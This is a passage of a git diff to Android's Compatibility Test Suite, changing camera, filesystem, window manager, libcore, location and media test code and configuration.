- properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+ CameraCharacteristics.Key<StreamConfigurationMap> configMapTag = maxResolution ?
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION :
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+ StreamConfigurationMap configMap = properties.get(configMapTag);
+ if (configMap == null) {
+ assertTrue("SCALER_STREAM_CONFIGURATION_MAP is null!", maxResolution);
+ return null;
+ }
+
Size[] availableSizes = configMap.getOutputSizes(format);
- assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
- + format);
+ if (!maxResolution) {
+ assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
+ + format);
+ }
Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index d203a1a8c3a..f559247f5dd 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -23,6 +23,9 @@
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name=".FileActivity"
+ android:exported="true">
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.filesystem.cts"
diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
new file mode 100644
index 00000000000..58b108e1981
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A simple activity to stay foreground context.
+ */
+public class FileActivity extends Activity {
+ private static final String PACKAGE_NAME = "android.filesystem.cts";
+
+ public static void startFileActivity(Context context) {
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName()));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 9f05994832e..10170812a74 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -65,6 +65,7 @@ public class RandomRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
String streamName = "test_random_read";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
@@ -86,6 +87,7 @@ public class RandomRWTest {
while (usableSpace < fileSize) {
fileSize = fileSize / 2;
}
+ FileActivity.startFileActivity(getContext());
String streamName = "test_random_update";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
double mbps = -1;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 269861c1ed9..a3e6f834634 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -78,6 +78,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
final int numberOfFiles =(int)(fileSize / BUFFER_SIZE);
String streamName = "test_single_sequential_write";
DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -115,6 +116,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
final int NUMBER_REPETITION = 3;
String streamName = "test_single_sequential_update";
FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE,
@@ -128,6 +130,7 @@ public class SequentialRWTest {
if (fileSize == 0) { // not enough space, give up
return;
}
+ FileActivity.startFileActivity(getContext());
long start = System.currentTimeMillis();
final File file = FileUtil.createNewFilledFile(getContext(),
DIR_SEQ_RD, fileSize);
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f0f40a69772..287e67cb003 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -366,7 +366,7 @@
android:theme="@style/no_starting_window"/>
<activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
<activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
<activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
<activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
<activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 72a5aac43c4..1d3a0c0f3d9 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -601,15 +601,19 @@
<activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
<activity android:name=".BackgroundImageActivity"
android:theme="@style/BackgroundImage"
+ android:colorMode="wideColorGamut"
android:exported="true"/>
<activity android:name=".BlurActivity"
android:exported="true"
+ android:colorMode="wideColorGamut"
android:theme="@style/TranslucentDialog"/>
<activity android:name=".BlurAttributesActivity"
android:exported="true"
+ android:colorMode="wideColorGamut"
android:theme="@style/BlurryDialog"/>
<activity android:name=".BadBlurActivity"
android:exported="true"
+ android:colorMode="wideColorGamut"
android:theme="@style/BadBlurryDialog"/>
<!-- Splash Screen Test Activities -->
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 9099c67b2f0..dbfef28aca3 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -89,11 +89,10 @@ public class ExtensionTest extends JetpackExtensionTestBase {
@Override
public void setUp() throws Exception {
super.setUp();
+ ExtensionUtils.assumeSupportedDevice(mContext);
// Launch activity after the ActivityManagerTestBase clean all package states.
mActivity = mActivityTestRule.launchActivity(new Intent());
- ExtensionUtils.assumeSupportedDevice(mActivity);
-
mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
assertThat(mExtension).isNotNull();
mWindowToken = getActivityWindowToken(mActivity);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index c0cd1459e1b..23e47c2a87d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -344,10 +344,10 @@ public class BlurTests extends WindowManagerTestBase {
for (int y = 0; y < height; y++) {
if (x < blueWidth) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.BLUE, screenshot.getPixel(x, y), 0);
+ Color.BLUE, screenshot.getPixel(x, y), 1);
} else {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.RED, screenshot.getPixel(x, y), 0);
+ Color.RED, screenshot.getPixel(x, y), 1);
}
}
}
@@ -374,20 +374,20 @@ public class BlurTests extends WindowManagerTestBase {
for (int y = 0; y < screenshot.getHeight(); y++) {
if (x < windowFrame.left) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.BLUE, screenshot.getPixel(x, y), 0);
+ Color.BLUE, screenshot.getPixel(x, y), 1);
} else if (x < screenshot.getWidth() / 2) {
if (y < windowFrame.top || y > windowFrame.bottom) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.BLUE, screenshot.getPixel(x, y), 0);
+ Color.BLUE, screenshot.getPixel(x, y), 1);
}
} else if (x <= windowFrame.right) {
if (y < windowFrame.top || y > windowFrame.bottom) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.RED, screenshot.getPixel(x, y), 0);
+ Color.RED, screenshot.getPixel(x, y), 1);
}
} else if (x > windowFrame.right) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- Color.RED, screenshot.getPixel(x, y), 0);
+ Color.RED, screenshot.getPixel(x, y), 1);
}
}
@@ -398,7 +398,7 @@ public class BlurTests extends WindowManagerTestBase {
for (int y = windowFrame.top; y < windowFrame.bottom; y++) {
for (int x = windowFrame.left; x < windowFrame.right; x++) {
ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
- NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0);
+ NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 1);
}
}
}
@@ -420,7 +420,7 @@ public class BlurTests extends WindowManagerTestBase {
for (int y = startHeight; y < endHeight; y++) {
ColorUtils.verifyColor(
"failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")",
- Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0);
+ Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 1);
previousColor = Color.valueOf(Color.BLUE);
for (int x = blurAreaStartX; x < blurAreaEndX; x += stepSize) {
currentColor = screenshot.getColor(x, y);
@@ -437,7 +437,7 @@ public class BlurTests extends WindowManagerTestBase {
}
ColorUtils.verifyColor(
"failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")",
- Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0);
+ Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 1);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index b03e45330e0..42139843c7e 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -604,7 +604,6 @@ public class KeyguardTests extends KeyguardTestBase {
mWmState.waitForKeyguardGone();
mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true);
assertFalse(mWmState.getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
assertTrue(isDisplayOn(DEFAULT_DISPLAY));
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 1c871471406..22d449c61ca 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -837,10 +837,12 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
mWmState.getResumedActivitiesCountInPackage(
SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
+ // Start SeparateProcessActivity in the same task as LaunchingActivity by setting
+ // allowMultipleInstances to false, and the TestActivity should be resumed.
getLaunchActivityBuilder().setUseInstrumentation()
.setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
- .execute();
+ .allowMultipleInstances(false).execute();
waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
"Activity launched on default display must be resumed and focused");
assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 63526cfca47..8f2483cd1ca 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -87,6 +87,7 @@ import org.junit.Test;
import java.util.List;
import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
/**
* Build/Install/Run:
@@ -276,11 +277,13 @@ public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase {
assertEquals("The number of nav bars should be the same", expected.size(), result.size());
- // Nav bars should show on the same displays
- for (int i = 0; i < expected.size(); i++) {
- final int expectedDisplayId = expected.get(i).getDisplayId();
- mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId);
- }
+ mWmState.getDisplays().forEach(displayContent -> {
+ List<WindowState> navWindows = expected.stream().filter(ws ->
+ ws.getDisplayId() == displayContent.mId)
+ .collect(Collectors.toList());
+
+ mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size());
+ });
}
// Secondary Home related tests
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index bd700520eb5..a56b0227d49 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -20,6 +20,8 @@ import static android.app.UiModeManager.MODE_NIGHT_AUTO;
import static android.app.UiModeManager.MODE_NIGHT_CUSTOM;
import static android.app.UiModeManager.MODE_NIGHT_NO;
import static android.app.UiModeManager.MODE_NIGHT_YES;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.Intent.ACTION_MAIN;
import static android.content.Intent.CATEGORY_HOME;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -144,7 +146,19 @@ public class SplashscreenTests extends ActivityManagerTestBase {
// applied insets by system bars in AAOS.
assumeFalse(isCar());
- launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+ launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+ // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
+ testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
+ }
+
+ @Test
+ public void testSplashscreenContent_FreeformWindow() {
+ // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+ // applied insets by system bars in AAOS.
+ assumeFalse(isCar());
+ assumeTrue(supportsFreeform());
+
+ launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FREEFORM);
// The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
}
@@ -153,6 +167,9 @@ public class SplashscreenTests extends ActivityManagerTestBase {
// Activity may not be launched yet even if app transition is in idle state.
mWmState.waitForActivityState(name, STATE_RESUMED);
mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ boolean isFullscreen = mWmState.getTaskByActivity(name).isWindowingModeCompatible(
+ WINDOWING_MODE_FULLSCREEN);
+
final Bitmap image = takeScreenshot();
final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
final Rect stableBounds = new Rect(windowMetrics.getBounds());
@@ -173,12 +190,9 @@ public class SplashscreenTests extends ActivityManagerTestBase {
Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
appBounds.right - insets.right, appBounds.bottom);
- assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty());
- assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty());
- if (appBounds.isEmpty()) {
- fail("Couldn't find splash screen bounds. Impossible to assert the colors");
- }
+ assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
+ appBounds.isEmpty());
// Use ratios to flexibly accommodate circular or not quite rectangular displays
// Note: Color.BLACK is the pixel color outside of the display region
@@ -191,8 +205,13 @@ public class SplashscreenTests extends ActivityManagerTestBase {
appBounds.intersect(stableBounds);
assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
- assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
- assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+ if (isFullscreen && !topInsetsBounds.isEmpty()) {
+ assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+ }
+ if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
+ assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+ null);
+ }
}
// For real devices, gamma correction might be applied on hardware driver, so the colors may
@@ -385,7 +404,20 @@ public class SplashscreenTests extends ActivityManagerTestBase {
// applied insets by system bars in AAOS.
assumeFalse(isCar());
- launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
+ launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+ extraBool(DELAY_RESUME, true));
+ testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
+ }
+
+ @Test
+ public void testSetBackgroundColorActivity_FreeformWindow() {
+ // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+ // applied insets by system bars in AAOS.
+ assumeFalse(isCar());
+ assumeTrue(supportsFreeform());
+
+ launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FREEFORM,
+ extraBool(DELAY_RESUME, true));
testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 0b423604ded..024ea1770d1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -290,7 +290,6 @@ public class WindowFocusTests extends WindowManagerTestBase {
DEFAULT_DISPLAY);
final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
- final int secondaryDisplayId = session.getDisplayId();
final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
// Secondary display disconnected.
session.close();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 388095cda60..ba34d1785d9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -83,6 +83,7 @@ import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
+import java.util.Objects;
import java.util.function.Consumer;
import java.util.function.Predicate;
import java.util.stream.Collectors;
@@ -966,17 +967,18 @@ public class WindowManagerState {
.collect(Collectors.toList());
}
- WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) {
- List<WindowState> navWindow = getMatchingWindows(ws ->
- WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId)
+ @Nullable
+ List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) {
+ List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws)
+ && ws.getDisplayId() == displayId)
+ .filter(Objects::nonNull)
.collect(Collectors.toList());
-
// We may need some time to wait for nav bar showing.
- // It's Ok to get 0 nav bar here.
- assertTrue("There should be at most one navigation bar on a display",
- navWindow.size() <= 1);
+ // It's Ok to get less that expected nav bars here.
+ assertTrue("There should be at most expectedNavBarCount navigation bar on a display",
+ navWindows.size() <= expectedNavBarCount);
- return navWindow.isEmpty() ? null : navWindow.get(0);
+ return navWindows.size() == expectedNavBarCount ? navWindows : null;
}
WindowState getWindowStateForAppToken(String appToken) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 0a70d013cc3..458d7857461 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -272,10 +272,17 @@ public class WindowManagerStateHelper extends WindowManagerState {
"app transition idle on Display " + displayId);
}
- public void waitAndAssertNavBarShownOnDisplay(int displayId) {
- assertTrue(waitForWithAmState(
- state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
- "navigation bar #" + displayId + " show"));
+ void waitAndAssertNavBarShownOnDisplay(int displayId) {
+ waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */);
+ }
+
+ void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) {
+ assertTrue(waitForWithAmState(state -> {
+ List<WindowState> navWindows = state
+ .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount);
+
+ return navWindows != null;
+ }, "navigation bar #" + displayId + " show"));
}
public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 93a2b76e479..3dc2bdb503c 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -54,4 +54,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 2173c92b487..8fcaaab19c3 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -80,4 +80,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 86e04f6192e..f929c4bd4b4 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -58,4 +58,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
index 8219e38ce64..c3e97a4b258 100644
--- a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
+++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
@@ -56,4 +56,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index b0471d01f3c..dce14b56515 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -52,4 +52,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index dcaee4fb7bf..1be37c3df22 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -18,6 +18,7 @@ package android.location.cts.fine;
import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+import static android.content.pm.PackageManager.FEATURE_TELEVISION;
import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
import static android.location.LocationManager.FUSED_PROVIDER;
@@ -264,8 +265,6 @@ public class LocationManagerFineTest {
@Test
public void testGetCurrentLocation_Timeout() throws Exception {
- Location loc = createLocation(TEST_PROVIDER, mRandom);
-
try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
mManager.getCurrentLocation(
TEST_PROVIDER,
@@ -665,8 +664,9 @@ public class LocationManagerFineTest {
@Test
public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
- // battery saver is unsupported on auto
+ // battery saver is unsupported on auto and tv
assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+ assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
PowerManager powerManager = Objects.requireNonNull(
mContext.getSystemService(PowerManager.class));
@@ -725,8 +725,9 @@ public class LocationManagerFineTest {
@Test
public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
- // battery saver is unsupported on auto
+ // battery saver is unsupported on auto and tv
assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+ assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
PowerManager powerManager = Objects.requireNonNull(
mContext.getSystemService(PowerManager.class));
@@ -766,8 +767,9 @@ public class LocationManagerFineTest {
@Test
public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
- // battery saver is unsupported on auto
+ // battery saver is unsupported on auto and tv
assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+ assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
PowerManager powerManager = Objects.requireNonNull(
mContext.getSystemService(PowerManager.class));
@@ -1007,7 +1009,7 @@ public class LocationManagerFineTest {
@Test
public void testRequestFlush_Gnss() throws Exception {
- assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index ad8bb0a393b..eba094cbca4 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -1,15 +1,11 @@
# Bug component: 1344
# include media developers and framework video team
include platform/frameworks/av:/media/OWNERS
-chz@google.com
dichenzhang@google.com
essick@google.com
gokrishnan@google.com
lajos@google.com
-marcone@google.com
-pawin@google.com
wonsik@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index e3e3a2d357c..832127d29b3 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -56,6 +56,14 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
private static final String LOG_TAG = CodecEncoderTest.class.getSimpleName();
private int mNumSyncFramesReceived;
private ArrayList<Integer> mSyncFramesPos;
+ private static ArrayList<String> mAdaptiveBitrateMimeList = new ArrayList<>();
+
+ static {
+ mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+ mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
